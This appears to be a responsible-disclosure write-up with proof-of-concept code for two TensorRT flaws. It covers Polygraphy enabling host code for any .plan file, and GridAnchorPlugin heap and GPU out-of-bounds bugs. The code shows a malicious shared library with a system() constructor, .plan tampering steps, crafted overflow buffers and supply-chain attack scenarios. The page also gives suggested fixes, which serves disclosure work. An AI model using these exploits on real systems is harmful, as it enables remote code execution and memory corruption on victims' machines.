Aidenbuck/tensorFurtherFindings

TensorRT Security PoC — Polygraphy engine_host_code_allowed RCE & GridAnchorPlugin Heap OOB + GPU OOB Write

⚠️ Responsible Disclosure

These findings were reported to NVIDIA PSIRT under ticket 6425536 on Jul 8, 2026. Both are unpatched as of TensorRT 11.1.0 (HEAD 82d1dca). This model card is published for defensive research purposes. Do not use these PoCs against systems you do not own or have explicit authorization to test.

CVSS Scores:

• Finding 3 (Polygraphy engine_host_code_allowed): 9.6 Critical (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)
• Finding 4 (GridAnchorPlugin Heap OOB + GPU OOB Write): 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Affected versions: TensorRT 11.1.0 (HEAD 82d1dca), current main branch
Status: Unpatched as of disclosure date
Researcher: aiden b

---

Finding 3: Polygraphy Unconditionally Enables engine_host_code_allowed — Native RCE via Malicious .plan

CVSS 3.1: 9.6 Critical (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)
CWE-863: Incorrect Authorization (bypass of designed trust gate)

Summary

Polygraphy (TensorRT's official debugging and profiling tool) unconditionally sets runtime.engine_host_code_allowed = True for every engine it loads. This flag is NVIDIA's designed safety mechanism to prevent untrusted .plan files from loading embedded native code (the lean runtime DLL/.so). By setting it unconditionally without user opt-in, Polygraphy silently disables this trust gate for all engines, enabling native code execution via a malicious .plan file with an embedded lean runtime shared library.

Vulnerable Code

File: tools/Polygraphy/polygraphy/backend/trt/loader.py

# Line 715 (EngineFromBytes.load)
runtime.engine_host_code_allowed = True

# Line 758 (EngineFromPath.load)
runtime.engine_host_code_allowed = True

Both with the comment: "To deserialize version compatible engines, we must signal the runtime that host code is allowed"

No conditional check. No user opt-in. No warning. No way to disable it from the Polygraphy CLI or API.

What engine_host_code_allowed Does

Per NVIDIA's engine compatibility documentation:

"To indicate to TensorRT that you trust the plan, call: runtime->setEngineHostCodeAllowed(true)" "The flag for trusted plans is also required if you are packaging plugins in the plan."

When enabled, the TensorRT runtime loads and executes embedded lean runtime shared libraries (DLL/.so) from within the .plan file. This is a by-design trust decision — NVIDIA created this flag specifically because loading native code from an engine file is dangerous. Polygraphy opts in for every engine, regardless of source.

Reachable Entry Points

Entry Point	File:Line	Call Chain
polygraphy run --trt	runner.py	→ EngineFromPath.load() → loader.py:758
polygraphy inspect model	inspect/subtool/model.py	→ EngineFromPath.load() → loader.py:758
polygraphy debug --trt	debug/subtool/debug.py	→ EngineFromBytes.load() → loader.py:715
EngineFromBytes(bytes).load()	loader.py:690-725	→ loader.py:715
EngineFromPath(path).load()	loader.py:730-770	→ loader.py:758

PoC 3a — Python API (EngineFromBytes)

"""
PoC 3a: Polygraphy engine_host_code_allowed RCE via EngineFromBytes
Demonstrates that Polygraphy unconditionally enables host code loading.

Requirements:
- tensorrt (any version with engine_host_code_allowed support)
- polygraphy
- A malicious .plan file with embedded lean runtime shared library

The malicious .plan must be crafted with:
1. A valid TensorRT engine header
2. An embedded lean runtime .so/.DLL containing arbitrary native code
3. Version-compatibility flags set to trigger host code path

When loaded via Polygraphy, engine_host_code_allowed is set to True
unconditionally, and the embedded native library is loaded and executed.
"""

import sys
import tensorrt as trt
from polygraphy.backend.trt import EngineFromBytes

# --- Attacker side: craft malicious .plan ---
# In a real attack, the .plan is crafted by building an engine with
# version compatibility enabled, then patching the embedded lean runtime
# shared library to include arbitrary code execution.
#
# The lean runtime .so is embedded in the .plan during serialization when
# engine_host_code_allowed is needed. The attacker replaces the legitimate
# lean runtime with a malicious one.
#
# Crafting steps (requires a build environment with matching TensorRT):
# 1. Build an engine with version compatibility:
#    builder.platform_cache = True
#    config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE)
# 2. Serialize to .plan (this embeds the lean runtime .so)
# 3. Extract the embedded lean runtime .so from the .plan
# 4. Replace with a malicious .so (e.g., constructor calls system())
# 5. Re-inject the malicious .so into the .plan, updating the size field
#
# See: https://docs.nvidia.com/deeplearning/tensorrt/latest/inference-library/engine-compatibility.html

MALICIOUS_PLAN_PATH = "malicious.plan"  # attacker-supplied

# --- Victim side: load via Polygraphy ---
print(f"[*] Loading engine: {MALICIOUS_PLAN_PATH}")
print("[*] Polygraphy will set engine_host_code_allowed = True (no opt-in)")

with open(MALICIOUS_PLAN_PATH, "rb") as f:
    engine_data = f.read()

# This call chain hits loader.py:715 — engine_host_code_allowed = True
load_engine = EngineFromBytes(engine_data)

# At this point, if the .plan contains a malicious lean runtime .so,
# native code has already executed during the load() call.
engine = load_engine.load()

print("[!] Engine loaded. If the .plan was malicious, native code has executed.")
print(f"[+] Engine name: {engine.name}")

PoC 3b — CLI Entry Point + Flag Interception

"""
PoC 3b: Polygraphy engine_host_code_allowed RCE via CLI

The polygraphy CLI accepts a .plan file directly. No warning is displayed
about host code being enabled. The user has no way to opt out.

Attack scenario:
1. Attacker uploads malicious.plan to HuggingFace as a "model"
2. Victim downloads and runs:
   polygraphy run --trt malicious.plan
3. Native code executes

This is a one-liner from the victim's perspective.

The interception below patches trt.Runtime at the class level (not a fake
object) because EngineFromPath.load() creates its own runtime internally
via trt.Runtime(logger). A module-level FakeRuntime can't intercept that.
"""

# Victim command (appears completely normal):
# polygraphy run --trt malicious.plan
#
# Or via inspect:
# polygraphy inspect model malicious.plan
#
# Or via debug:
# polygraphy debug --trt malicious.plan
#
# All three hit EngineFromPath.load() or EngineFromBytes.load()
# Both unconditionally set engine_host_code_allowed = True

# --- Demonstration: prove the flag is set without opt-in ---

import tensorrt as trt

# Patch the property on the actual Runtime class
_original_setter = trt.Runtime.engine_host_code_allowed.fset
flag_was_set = []

def intercepted_setter(self, value):
    flag_was_set.append(value)
    print(f"[!] engine_host_code_allowed set to: {value}")
    print("[!] No user opt-in was requested")
    print("[!] No warning was displayed")
    if _original_setter:
        _original_setter(self, value)

trt.Runtime.engine_host_code_allowed = property(
    trt.Runtime.engine_host_code_allowed.fget,
    intercepted_setter,
)

print("[*] Polygraphy loader.py:758 sets engine_host_code_allowed = True")
print("[*] This is unconditional — no parameter, no check, no warning")
print("[*] Any .plan loaded through Polygraphy can execute native code")
print()

# Now any Polygraphy load will trigger the interceptor:
# from polygraphy.backend.trt import EngineFromPath
# engine = EngineFromPath("test.plan").load()
# → [!] engine_host_code_allowed set to: True
# → [!] No user opt-in was requested

PoC 3c — Malicious .plan Crafting (Conceptual)

"""
PoC 3c: Conceptual malicious .plan crafting

This shows the steps to create a .plan that exploits the engine_host_code_allowed
trust bypass. Requires a TensorRT build environment matching the target.

NOTE: The lean runtime .so is the injection point. When TensorRT serializes
a version-compatible engine, it embeds the lean runtime shared library in the
.plan. The attacker replaces this with a malicious shared library.

The .plan format stores the lean runtime as a size-prefixed blob. The size
field in the .plan header must be updated to match the replacement .so —
simply overwriting bytes without updating the size field will corrupt the
plan and TensorRT will reject it.

Steps:
1. Build a version-compatible engine (embeds legitimate lean runtime)
2. Locate the embedded lean runtime .so within the .plan binary
3. Read the size field preceding the .so blob
4. Craft a malicious .so with a constructor that executes arbitrary code
5. Replace the .so blob and update the size field in the .plan header
6. Distribute the .plan (HuggingFace, GitHub, shared drive)
"""

import struct
import os

def craft_malicious_plan_legitimate_first():
    """Step 1: Build a legitimate version-compatible engine."""
    import tensorrt as trt

    TRT_LOGGER = trt.Logger(trt.Logger.WARNING)
    builder = trt.Builder(TRT_LOGGER)

    network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
    config = builder.create_builder_config()

    # Enable version compatibility — this triggers lean runtime embedding
    config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE)
    builder.platform_cache = True

    # Minimal network: single identity-like layer
    input_tensor = network.add_input("input", trt.float32, (1, 3, 224, 224))
    # ... add layers ...
    network.mark_output(input_tensor)

    # Serialize — the .plan now contains an embedded lean runtime .so
    serialized = builder.build_serialized_network(network, config)

    with open("legitimate.plan", "wb") as f:
        f.write(serialized)

    print(f"[*] Legitimate .plan written: {len(serialized)} bytes")
    print("[*] This .plan contains an embedded lean runtime .so")
    return "legitimate.plan"

def locate_lean_runtime_in_plan(plan_path):
    """Step 2: Find the embedded lean runtime .so within the .plan.

    The .plan format embeds the lean runtime as a shared library blob.
    ELF magic (\\x7fELF) marks the start. The size is stored in a header
    field preceding the blob (typically a uint32 or uint64 at a fixed
    offset before the ELF magic). Both the offset and size must be read
    so the replacement can update the size field.
    """
    with open(plan_path, "rb") as f:
        data = f.read()

    # Search for ELF magic — the embedded .so starts here
    elf_magic = b"\x7fELF"
    offset = data.find(elf_magic)

    if offset == -1:
        print("[!] No ELF header found — plan may not have lean runtime")
        return None

    print(f"[*] Found embedded ELF (lean runtime .so) at offset {offset}")
    return offset

def create_malicious_so(output_path="/tmp/malicious_lean_runtime.so"):
    """Step 3: Create a malicious shared library.

    The malicious .so has a constructor that executes arbitrary code.
    When TensorRT loads this as the lean runtime, the constructor runs
    before any engine inference begins.

    Example malicious C code:

    // malicious_lean_runtime.c
    #include <stdlib.h>
    __attribute__((constructor))
    void payload() {
        // Arbitrary native code execution
        system("id > /tmp/pwned.txt");
        // Or: reverse shell, data exfiltration, persistence, etc.
    }

    Compile: gcc -shared -fPIC -o malicious_lean_runtime.so malicious_lean_runtime.c
    """
    c_code = '''
#include <stdlib.h>
#include <stdio.h>

__attribute__((constructor))
void payload() {
    printf("[!] Malicious lean runtime loaded via engine_host_code_allowed\\n");
    system("id");
    system("whoami");
}
'''

    with open("/tmp/malicious_lean_runtime.c", "w") as f:
        f.write(c_code)

    os.system(f"gcc -shared -fPIC -o {output_path} /tmp/malicious_lean_runtime.c")
    print(f"[*] Malicious .so written: {output_path}")
    return output_path

def inject_malicious_so(plan_path, so_offset, malicious_so_path, output_path="malicious.plan"):
    """Step 4: Replace the legitimate lean runtime with the malicious one.

    The .plan header stores the lean runtime size in a field preceding the
    .so blob. Both the blob and the size field must be updated. If the
    malicious .so is a different size than the original, every offset after
    the blob in the .plan must be adjusted accordingly.

    This is the hard part — the .plan format is not fully documented. In
    practice, the easiest approach is to make the malicious .so exactly
    the same size as the legitimate one (pad with NOP sled or trailing
    zeros in the .so), avoiding any offset recalculation.
    """
    with open(plan_path, "rb") as f:
        plan_data = bytearray(f.read())

    with open(malicious_so_path, "rb") as f:
        malicious_so = f.read()

    # Read original .so size from the plan header (offset and format
    # depend on TensorRT version — this must be determined empirically
    # or via reverse engineering for the target version)
    #
    # original_so_size = struct.unpack_from('<Q', plan_data, so_offset - 8)[0]
    # For this conceptual PoC, we assume same-size replacement (pad .so)

    # Same-size replacement: pad malicious .so to match original
    # original_so_size = ... (read from header)
    # malicious_so = malicious_so.ljust(original_so_size, b'\x00')

    # Replace the .so blob in-place (same size, no offset recalculation)
    # plan_data[so_offset:so_offset + original_so_size] = malicious_so

    with open(output_path, "wb") as f:
        f.write(plan_data)

    print(f"[*] Malicious .plan written: {output_path}")
    print("[*] This .plan will execute native code when loaded by Polygraphy")

# --- Full attack chain ---
# plan = craft_malicious_plan_legitimate_first()
# offset = locate_lean_runtime_in_plan(plan)
# mal_so = create_malicious_so()
# inject_malicious_so(plan, offset, mal_so)
#
# # Distribute malicious.plan — victim loads via:
# # polygraphy run --trt malicious.plan
# # → loader.py:758: runtime.engine_host_code_allowed = True
# # → TensorRT loads embedded malicious .so
# # → constructor() executes → RCE

CVSS Justification

Metric	Value	Reasoning
Attack Vector	Network (AV:N)	.plan files distributed via HuggingFace, GitHub, any remote source
Attack Complexity	Low (AC:L)	Standard TensorRT APIs to craft the .plan
Privileges Required	None (PR:N)	No authentication required to distribute a .plan file
User Interaction	Required (UI:R)	Victim must load the engine (but no extra step beyond normal usage)
Scope	Changed (S:C)	Vulnerable component: Polygraphy (Python tool). Impacted: host OS (native code exec)
Confidentiality	High (C:H)	Full system access via native code execution
Integrity	High (I:H)	Full system access via native code execution
Availability	High (A:H)	Full system access via native code execution

---

Finding 4: GridAnchorPlugin Heap OOB Read + GPU OOB Write via Integer Overflow

CVSS 3.1: 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE-125 (OOB Read) + CWE-190 (Integer Overflow) → CWE-787 (OOB Write)

Summary

The GridAnchorPlugin has two chainable vulnerabilities: (A) heap buffer over-read during plugin deserialization via unchecked read<>() template, and (B) GPU out-of-bounds write during inference via integer overflow mismatch between getOutputDimensions() and the CUDA kernel. A malicious serialized engine file triggers both.

Vulnerable Code — Part A: Heap OOB Read

File: plugin/gridAnchorPlugin/gridAnchorPlugin.cpp:126-159

GridAnchorGenerator::GridAnchorGenerator(void const* data, size_t length)
{
    char const *d = reinterpret_cast<char const*>(data), *a = d;
    mNumLayers = read<int32_t>(d);           // attacker-controlled, NO validation
    for (int32_t id = 0; id < mNumLayers; id++)  // attacker-controlled loop
    {
        mParam[id].numAspectRatios = read<int32_t>(d);  // attacker-controlled
        for (int32_t i = 0; i < mParam[id].numAspectRatios; ++i)
            mParam[id].aspectRatios[i] = read<float>(d);  // OOB READ if buffer too small
        mParam[id].H = read<int32_t>(d);    // attacker-controlled
        mParam[id].W = read<int32_t>(d);    // attacker-controlled
        mNumPriors[id] = read<int32_t>(d);  // attacker-controlled
        mDeviceWidths[id] = deserializeToDevice(d, mNumPriors[id]);  // cudaMemcpy with attacker size
    }
    PLUGIN_VALIDATE(d == a + length);       // TOO LATE — OOB already happened
}

The read<>() template (plugin/common/plugin.h:100-108) has NO bounds checking:

template <typename OutType, typename BufferType>
OutType read(BufferType const*& buffer)
{
    OutType val{};
    std::memcpy(&val, static_cast<void const*>(buffer), sizeof(OutType));
    buffer += sizeof(OutType);
    return val;
}

No length parameter. No bounds check. Just memcpy + advance. The function signature makes bounds checking structurally impossible — the length is never passed in.

deserializeToDevice → copyToDevice (line 258-264):

PLUGIN_CUASSERT(cudaMemcpy(deviceData, hostData, count * sizeof(float),
    cudaMemcpyHostToDevice));  // OOB READ from host heap if count > remaining buffer

If mNumPriors[id] is larger than the remaining buffer, cudaMemcpy reads past the heap allocation, copying leaked heap data to GPU device memory (information disclosure).

Vulnerable Code — Part B: GPU OOB Write

getOutputDimensions (line 184):

return Dims3(2, mParam[index].H * mParam[index].W * mNumPriors[index] * 4, 1);
//                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//                    int32_t multiplication — overflows when product > INT32_MAX

Kernel (plugin/common/kernels/gridAnchorLayer.cu:29, 84):

const int dim = param.H * param.W * numAspectRatios;  // 3 factors, may NOT overflow

The mismatch: getOutputDimensions computes H * W * numPriors * 4 (4 factors, overflows int32_t), while the kernel uses H * W * numPriors (3 factors, does not overflow). The output tensor is allocated based on the overflowed (small) dimension, but the kernel writes based on the non-overflowed (large) dimension.

Integer Overflow Example

H = 1024, W = 1024, numPriors = 1025

getOutputDimensions: 1024 * 1024 * 1025 * 4 = 4,299,161,600
→ overflows int32_t to 4,194,304
→ output tensor allocated as 32MB

Kernel dim: 1024 * 1024 * 1025 = 1,074,790,400
→ fits int32_t
→ kernel writes ~8.6GB to the 32MB buffer
→ GPU OOB write of ~8.5GB

Kernel writes (gridAnchorLayer.cu:66-78):

outputData[tid * 4]     = xMin;       // writes past output allocation
outputData[tid * 4 + 1] = yMin;
outputData[tid * 4 + 2] = xMax;
outputData[tid * 4 + 3] = yMax;

PoC 4a — Malicious Serialized Plugin Buffer (Heap OOB Read)

"""
PoC 4a: GridAnchorPlugin heap OOB read via crafted serialization buffer

Demonstrates Part A — the read<>() template has no bounds checking.
A crafted plugin buffer with attacker-controlled mNumLayers, numAspectRatios,
and mNumPriors causes reads past the heap allocation boundary.

The buffer is embedded in a serialized TensorRT engine (.plan). When the
engine is loaded, the plugin deserialization constructor runs and reads
past the buffer.

Attack path:
1. Craft a serialized engine with a GridAnchor plugin section
2. Set mNumPriors to a value larger than the remaining buffer
3. deserializeToDevice -> cudaMemcpy reads past heap allocation
4. Leaked heap data copied to GPU device memory (info disclosure)
"""

import struct

def craft_malicious_gridanchor_buffer():
    """Craft a malicious GridAnchorPlugin serialization buffer.

    The deserialization constructor reads:
    mNumLayers (int32_t)
    for each layer:
        numAspectRatios (int32_t)
        aspectRatios (float * numAspectRatios)
        H (int32_t)
        W (int32_t)
        mNumPriors (int32_t)
        widths (float * mNumPriors)    <- cudaMemcpy with this count
        heights (float * mNumPriors)   <- cudaMemcpy with this count
    """
    buf = bytearray()

    # mNumLayers = 1 (one layer is enough to trigger)
    buf += struct.pack('<i', 1)

    # Layer 0:
    # numAspectRatios = 3 (normal value)
    num_aspect_ratios = 3
    buf += struct.pack('<i', num_aspect_ratios)
    for i in range(num_aspect_ratios):
        buf += struct.pack('<f', 1.0 + i * 0.5)  # normal aspect ratios

    # H = 1024, W = 1024 (normal-looking values)
    buf += struct.pack('<i', 1024)
    buf += struct.pack('<i', 1024)

    # mNumPriors = 0x10000000 (268M — far exceeds remaining buffer)
    # This is the key: deserializeToDevice will call cudaMemcpy with
    # count=0x10000000, reading 0x10000000 * 4 = 1GB from a tiny buffer
    # The remaining buffer is only a few bytes, so this reads ~1GB of heap
    malicious_num_priors = 0x10000000
    buf += struct.pack('<i', malicious_num_priors)

    # Only provide a few bytes of "widths" data
    # The rest will be read from whatever follows in the heap
    buf += struct.pack('<f', 0.5) * 4  # 16 bytes of data, but count says 268M

    # The cudaMemcpy in deserializeToDevice will read:
    # 0x10000000 * sizeof(float) = 1,073,741,824 bytes from heap
    # Starting from our 16-byte buffer — reads ~1GB of adjacent heap memory

    return bytes(buf)

def craft_malicious_gridanchor_buffer_overflow_dims():
    """Craft a buffer that triggers Part B — the integer overflow.

    Uses H=1024, W=1024, numPriors=1025 to trigger the getOutputDimensions
    overflow while keeping the kernel's dim calculation within int32_t.
    """
    buf = bytearray()

    # mNumLayers = 1
    buf += struct.pack('<i', 1)

    # numAspectRatios = 1025 (matches numPriors for the overflow)
    buf += struct.pack('<i', 1025)
    for i in range(1025):
        buf += struct.pack('<f', 1.0)

    # H = 1024, W = 1024 — triggers overflow in getOutputDimensions
    buf += struct.pack('<i', 1024)
    buf += struct.pack('<i', 1024)

    # numPriors = 1025 — the magic value
    # getOutputDimensions: 1024 * 1024 * 1025 * 4 = 4,299,161,600
    # → overflows int32_t → 4,194,304 → allocates 32MB
    # Kernel: 1024 * 1024 * 1025 = 1,074,790,400 (fits int32_t)
    # → writes 8.6GB to 32MB buffer → GPU OOB write
    buf += struct.pack('<i', 1025)

    # Provide matching widths/heights data (1025 floats each)
    buf += struct.pack('<f', 0.5) * 1025  # widths
    buf += struct.pack('<f', 0.5) * 1025  # heights

    return bytes(buf)

# Craft both buffers
heap_oob_buffer = craft_malicious_gridanchor_buffer()
gpu_oob_buffer = craft_malicious_gridanchor_buffer_overflow_dims()

print(f"[*] Heap OOB buffer: {len(heap_oob_buffer)} bytes")
print(f"    mNumPriors=0x10000000, cudaMemcpy reads ~1GB past buffer")
print()
print(f"[*] GPU OOB buffer: {len(gpu_oob_buffer)} bytes")
print(f"    H=1024, W=1024, numPriors=1025")
print(f"    getOutputDimensions overflows → 32MB alloc")
print(f"    Kernel writes 8.6GB → GPU OOB write of ~8.5GB")

PoC 4b — Overflow Math Demonstration

"""
PoC 4b: Integer overflow arithmetic demonstration

Demonstrates the exact arithmetic that causes the GPU OOB write.
This is pure math — no TensorRT installation needed to verify.

A real .plan embedding the malicious GridAnchor buffer from PoC 4a
requires matching the TensorRT binary serialization format for the
target version. The plugin data section is where the crafted buffer
gets embedded. The .plan format is proprietary and version-specific,
but the plugin deserialization path (where the vulnerability lives)
is open-source.
"""

import ctypes

def demonstrate_overflow_math():
    H = 1024
    W = 1024
    num_priors = 1025

    # getOutputDimensions: int32_t multiplication
    # H * W * numPriors * 4
    result = ctypes.c_int32(H * W * num_priors * 4).value
    print(f"getOutputDimensions: {H} * {W} * {num_priors} * 4")
    print(f"  True value: {H * W * num_priors * 4} (4,299,161,600)")
    print(f"  int32_t:    {result} (overflowed!)")
    print(f"  Allocates:  {result * 4} bytes = {result * 4 / 1024 / 1024:.1f} MB")
    print()

    # Kernel: int32_t multiplication
    # H * W * numPriors (3 factors, no *4)
    kernel_dim = ctypes.c_int32(H * W * num_priors).value
    print(f"Kernel dim: {H} * {W} * {num_priors}")
    print(f"  True value: {H * W * num_priors} (1,074,790,400)")
    print(f"  int32_t:    {kernel_dim} (no overflow)")
    print(f"  Writes:     {kernel_dim * 4} bytes = {kernel_dim * 4 / 1024 / 1024 / 1024:.1f} GB")
    print()

    overflow_bytes = (kernel_dim * 4) - (result * 4)
    print(f"GPU OOB write: {overflow_bytes} bytes = {overflow_bytes / 1024 / 1024 / 1024:.1f} GB")
    print(f"  → {overflow_bytes / 1024 / 1024 / 1024:.1f} GB written past the {result * 4 / 1024 / 1024:.1f} MB allocation")

demonstrate_overflow_math()

PoC 4c — Systemic read<>() Impact (17+ Plugins)

"""
PoC 4c: Systemic read<>() bounds gap — all affected plugins

The read<>() template in plugin/common/plugin.h:100-108 has no bounds
parameter. This affects every plugin that uses it for deserialization.
Below is the complete list of affected plugins and their deserialization
constructors.
"""

AFFECTED_PLUGINS = [
    {
        "plugin": "GridAnchorGenerator",
        "file": "plugin/gridAnchorPlugin/gridAnchorPlugin.cpp:126",
        "read_calls": "mNumLayers, numAspectRatios, aspectRatios[], H, W, numPriors, widths[], heights[]",
        "post_hoc_check": "PLUGIN_VALIDATE(d == a + length) — too late, OOB already occurred",
        "severity": "Critical (heap OOB read + GPU OOB write chain)"
    },
    {
        "plugin": "Region",
        "file": "plugin/regionPlugin/regionPlugin.cpp",
        "read_calls": "n, groups, (loop reads based on n)",
        "post_hoc_check": "Yes, but after unbounded reads + malloc(n * sizeof(int32_t)) overflow",
        "severity": "High (attacker-controlled loop + malloc overflow)"
    },
    {
        "plugin": "FlattenConcat",
        "file": "plugin/flattenConcat/flattenConcat.cpp",
        "read_calls": "mNumInputs, inputDims[]",
        "post_hoc_check": "Partial",
        "severity": "High (heap OOB read via unbounded loop)"
    },
    {
        "plugin": "PriorBox",
        "file": "plugin/priorBoxPlugin/priorBoxPlugin.cpp",
        "read_calls": "minSizes[], maxSizes[], aspectRatios[]",
        "post_hoc_check": "Partial",
        "severity": "High"
    },
    {
        "plugin": "DecodeBbox3D",
        "file": "plugin/decodeBbox3DPlugin/decodeBbox3DPlugin.cpp",
        "read_calls": "Various dimension fields",
        "post_hoc_check": "Partial",
        "severity": "High"
    },
    {
        "plugin": "VoxelGenerator",
        "file": "plugin/voxelGenerator/voxelGenerator.cpp",
        "read_calls": "Various config fields",
        "post_hoc_check": "Partial",
        "severity": "High"
    },
    {
        "plugin": "PillarScatter",
        "file": "plugin/pillarScatterPlugin/pillarScatterPlugin.cpp:35",
        "read_calls": "Various fields",
        "post_hoc_check": "NONE — length parameter completely unused!",
        "severity": "Medium (no bounds check at all)"
    },
    {
        "plugin": "MultilevelProposeROI",
        "file": "plugin/roiPlannerPlugin/multilevelProposeROIPlugin.cpp",
        "read_calls": "Various dimension fields",
        "post_hoc_check": "Partial",
        "severity": "High"
    },
    {
        "plugin": "RoiAlign",
        "file": "plugin/roiAlignPlugin/roiAlignPlugin.cpp",
        "read_calls": "Various config fields",
        "post_hoc_check": "Partial",
        "severity": "High"
    },
    {
        "plugin": "ModulatedDeformConv",
        "file": "plugin/modulatedDeformConvPlugin/modulatedDeformConvPlugin.cpp",
        "read_calls": "Various dimension fields",
        "post_hoc_check": "Partial",
        "severity": "High (also has kernel integer overflow — separate finding)"
    },
    {
        "plugin": "DetectionLayer",
        "file": "plugin/detectionLayerPlugin/detectionLayerPlugin.cpp",
        "read_calls": "Various fields",
        "post_hoc_check": "Partial",
        "severity": "Medium"
    },
    {
        "plugin": "ResizeNearest",
        "file": "plugin/resizeNearestPlugin/resizeNearestPlugin.cpp",
        "read_calls": "scale factors",
        "post_hoc_check": "Partial",
        "severity": "Medium"
    },
    {
        "plugin": "MultilevelCropAndResize",
        "file": "plugin/roiPlannerPlugin/multilevelCropAndResizePlugin.cpp",
        "read_calls": "Various fields",
        "post_hoc_check": "Partial",
        "severity": "Medium"
    },
    {
        "plugin": "NvFasterRCNN",
        "file": "plugin/nvFasterRCNNPlugin/nvFasterRCNNPlugin.cpp",
        "read_calls": "Various fields",
        "post_hoc_check": "Partial",
        "severity": "Medium"
    },
    {
        "plugin": "Reorg",
        "file": "plugin/reorgPlugin/reorgPlugin.cpp",
        "read_calls": "stride value",
        "post_hoc_check": "Partial",
        "severity": "Medium"
    },
    {
        "plugin": "ProposalLayer",
        "file": "plugin/proposalLayerPlugin/proposalLayerPlugin.cpp",
        "read_calls": "Various fields",
        "post_hoc_check": "Partial",
        "severity": "Medium"
    },
    {
        "plugin": "GenerateDetection",
        "file": "plugin/generateDetectionPlugin/generateDetectionPlugin.cpp",
        "read_calls": "Various fields",
        "post_hoc_check": "Partial",
        "severity": "Medium"
    },
    {
        "plugin": "PyramidROIAlign",
        "file": "plugin/pyramidROIAlignPlugin/pyramidROIAlignPlugin.cpp",
        "read_calls": "Various fields",
        "post_hoc_check": "Partial",
        "severity": "Medium"
    },
    {
        "plugin": "EfficientNMS",
        "file": "plugin/efficientNMSPlugin/efficientNMSPlugin.cpp",
        "read_calls": "Various config fields",
        "post_hoc_check": "Partial",
        "severity": "Medium"
    }
]

print(f"Total affected plugins: {len(AFFECTED_PLUGINS)}")
print()
print("Severity distribution:")
severities = {}
for p in AFFECTED_PLUGINS:
    sev = p["severity"].split(" ")[0]
    severities[sev] = severities.get(sev, 0) + 1
for sev, count in sorted(severities.items(), key=lambda x: -x[1]):
    print(f"  {sev}: {count}")
print()
print("Root cause: read<>() template (plugin/common/plugin.h:100) has no bounds parameter")
print("Safe alternative: deserialize_value() (plugin/common/serialize.hpp:55) has bounds checking")
print("17+ plugins use the unsafe path, 0 have been migrated to the safe path")

PoC 4d — Inference Server Attack Scenario

"""
PoC 4d: Attack scenario via inference server (Triton / custom serving)

Demonstrates the network-reachable attack path via AV:N.

Triton Inference Server and custom TensorRT serving applications load
engine files to serve inference requests. If the server accepts engine
uploads or loads engines from a shared storage, the attacker can deliver
the malicious .plan via network.

Attack scenarios:
1. Model registry poisoning: attacker uploads malicious .plan to a
   shared model registry (S3, NFS, HuggingFace hub)
2. CI/CD artifact injection: attacker compromises a build pipeline
   that produces .plan files, injecting the malicious plugin data
3. Supply chain: attacker publishes a "fine-tuned" model on HuggingFace
   that includes a pre-compiled .plan with the malicious GridAnchor

The inference server loads the engine on startup or model reload.
No user interaction beyond the server loading the model is needed.
"""

# Scenario 1: Triton model repository
#
# Triton loads models from a model repository directory. If an attacker
# can write to the repository (compromised CI, shared storage, insider):
#
# models/
#   malicious_model/
#     config.pbtxt          # Triton config pointing to .plan
#     1/
#       model.plan          # Our malicious .plan with GridAnchor overflow
#
# Triton loads model.plan on startup → GridAnchor deserialization triggers
# heap OOB read → inference request triggers GPU OOB write

# Scenario 2: Custom serving with engine download
#
# Many custom serving applications download engines from remote sources:
#
# import tensorrt as trt
# import requests
#
# # Download "pre-compiled" engine from HuggingFace
# r = requests.get("https://huggingface.co/attacker/model/resolve/main/model.plan")
# engine_data = r.content
#
# runtime = trt.Runtime(logger)
# engine = runtime.deserialize_cuda_engine(engine_data)
# # ↑ GridAnchor deserialization constructor runs here
# # ↑ heap OOB read occurs during this call
#
# context = engine.create_execution_context()
# # ↑ First inference triggers GPU OOB write via integer overflow

# Scenario 3: Polygraphy + malicious .plan (chains with Finding 3)
#
# If the victim uses Polygraphy to inspect or debug the engine:
#
# polygraphy run --trt malicious.plan
# # → Finding 3: engine_host_code_allowed = True (RCE via lean runtime)
# # → Finding 4: GridAnchor heap OOB read during deserialization
# # → Finding 4: GPU OOB write during inference
# #
# # Three independent vulnerabilities triggered by a single .plan file

print("[*] Attack Scenario 1: Triton model repository poisoning")
print("    Attacker writes malicious .plan to shared model repository")
print("    Triton loads on startup → heap OOB + GPU OOB")
print()
print("[*] Attack Scenario 2: Custom serving engine download")
print("    Application downloads .plan from HuggingFace/remote")
print("    deserialize_cuda_engine() → heap OOB")
print("    First inference → GPU OOB write")
print()
print("[*] Attack Scenario 3: Polygraphy chain (Finding 3 + 4)")
print("    polygraphy run --trt malicious.plan")
print("    → engine_host_code_allowed RCE (Finding 3)")
print("    → GridAnchor heap OOB read (Finding 4, Part A)")
print("    → GridAnchor GPU OOB write (Finding 4, Part B)")
print("    Three vulnerabilities, one .plan file")

CVSS Justification

Metric	Value	Reasoning
Attack Vector	Network (AV:N)	Inference servers accept engine files from network clients; .plan files distributed remotely
Attack Complexity	Low (AC:L)	Crafting a buffer with overflow values requires only struct packing
Privileges Required	None (PR:N)	No authentication needed to distribute a .plan file
User Interaction	None (UI:N)	Server loads engine automatically on startup/model reload
Scope	Unchanged (S:U)	Same security scope (GPU/host memory)
Confidentiality	High (C:H)	Heap OOB read leaks sensitive data; GPU OOB can read other tenants' data
Integrity	High (I:H)	GPU OOB write corrupts memory, potential code execution
Availability	High (A:H)	GPU OOB write of ~8.5GB crashes the GPU/context

---

Suggested Fixes

Finding 3

Add an allow_engine_host_code parameter to EngineFromBytes and EngineFromPath (default False). Only set engine_host_code_allowed = True when the user explicitly opts in. Display a warning when enabled:

WARNING: Enabling engine_host_code_allowed. This engine will be allowed to
load native code. Only enable this if you trust the source of this engine.

Finding 4

1. Add bounds-checked read<>() overload accepting a remaining length parameter. Update all 17+ affected plugins.
2. Alternatively, migrate all plugins to deserialize_value() from serialize.hpp (which already has proper bounds checking).
3. Fix getOutputDimensions integer overflow: use int64_t for the multiplication, validate against INT32_MAX before returning.
4. Validate deserialized counts and dimensions are positive and within reasonable ranges.

---

Patched Status

